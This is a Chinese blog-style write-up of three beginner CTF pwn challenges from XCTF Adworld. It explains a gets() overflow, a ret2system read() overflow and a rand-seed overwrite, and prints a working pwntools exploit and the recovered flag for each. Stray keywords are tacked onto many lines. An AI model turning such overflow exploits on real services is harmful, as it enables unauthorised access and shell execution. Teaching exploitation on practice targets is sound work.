咕咕咕了很久的Pwn,临时抱佛脚入门一下。html
先安利以前看的一个 Reverse+Pwn 讲解视频python
讲的仍是很不错的,建议耐心看完linux
另外感受Reverse和Pwn都好难!!程序员
不,CTF好难!!shell
以前学C的时候了解过gets()函数很危险windows
通常笔者会使用以下代码代替gets()数组
scanf("%[^\n]%*c",a);
学了Pwn更直观地感觉到了这一点ide
关于scanf的更多用法详见函数
https://blog.csdn.net/jeffasd/article/details/80705487.net
题目连接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1
附件是没有扩展名的文件
//后面的题目就不提了附件了应该都是Linux文件
刚刚开始入门Pwn
参考
http://www.javashuo.com/article/p-eosswxxm-nc.html
IDA64打开 F5反编译
很明显gets函数的地方存在漏洞
//学C的时候就应该知道这个函数存在风险
// gets从标准输入设备读字符串函数,其能够无限读取,不会判断上限,以回车结束读取,因此程序员应该确保buffer的空间足够大,以便在执行读操做时不发生溢出。
要v5不等于1926才能进入else
而cat flag又须要v5等于1926
双击变量v4 v5存放在同一个stack中
看IDA最上面的rsp rbp也能够看出来
源代码可知先压v5再压v4
构造exp压v4的时候覆盖v5的值
//wp中的exp有问题
//第一次不是send 1926 send其余值才能进入else
修改以下
from pwn import * p=remote('220.249.52.133',34030) shellcode=b'a'*8+p64(1926) p.recvuntil('Your Birth?') p.sendline('1') p.sendline(shellcode) p.interactive()
Flag:cyberpeace{0541792f47eb4f7c642d2d7af1b5885f}
//噗随机出来50额外金币 叫我欧皇!
结束。
题目连接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055&page=1
IDA打开 F5反编译
???
参考
http://www.javashuo.com/article/p-useopvld-nr.html
http://www.javashuo.com/article/p-ysulmdnl-nc.html
代码很是简单
溢出点在read函数
须要经过read溢出最后执行
system(‘/bin/sh’)得到shell
esp 0 ebp -88
offset=88
wp中的exp遇到以下报错
!注意:python3中next()方法改名了 修改成__next__()
参考
https://blog.csdn.net/gaifuxi9518/article/details/81059938
修改了wp中的exp
from pwn import * elf=ELF('./level2') p=remote('220.249.52.133',39494) sys_addr=elf.symbols['system'] bin_addr=elf.search('/bin/sh').__next__() shellcode='a'*(0x88+0x4)+p32(sys_addr)+p32(0)+p32(bin_addr) p.recvline p.sendline(shellcode) p.interactive() p.close()
!不要再用windows打Pwn了 拿到shell也执行不了
//好吧怎么可能有人用windows打Pwn 然而一开始我踩坑了
取得shell后ls而后cat flag
Flag:cyberpeace{6c8681084181617bd2e2a7bbb0a2a169}
结束。
题目连接:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5057&page=1
开启了canary栈保护 不能直接溢出栈
IDA64打开 F5反编译
代码逻辑清晰srand生成随机数种子 而后循环遍历生成随机数 猜对数字cat flag
溢出点在gets
seed数组 rsp+30 rbp-10
v9 rsp+10 rbp-30
offset=20
参考
http://www.javashuo.com/article/p-yxssgbwd-nm.html
http://www.javashuo.com/article/p-vdqmvauf-nc.html
srand初始化随机种子,rand产生随机数。随机函数生成的随机数并非真的随机数,他们只是在必定范围内随机,其实是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,若是未设随机数种子,rand()在调用时会自动设随机数种子为1。
对于该题目,咱们将随机种子设置为0或1都是能够的。
编写exp时须要用到libc共享库 使用ctypes模块
先ldd命令查找libc共享库位置
exp
from pwn import * from ctypes import * p = remote('220.249.52.133',46393) libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') payload = b'a' * 0x20 + p64(1) p.sendlineafter("name:",payload) #get offset is 0x20,edit seed as 1 libc.srand(1) for i in range(10): p.recvuntil("number:") p.sendline(str(libc.rand()%6+1)) p.interactive()
Flag:cyberpeace{473602a1807e5a385d0ea90b25b67d55}
结束。
本文做者:双份浓缩馥芮白
原文连接:http://www.javashuo.com/article/p-catwocnl-my.html
版权全部,如需转载请注明出处。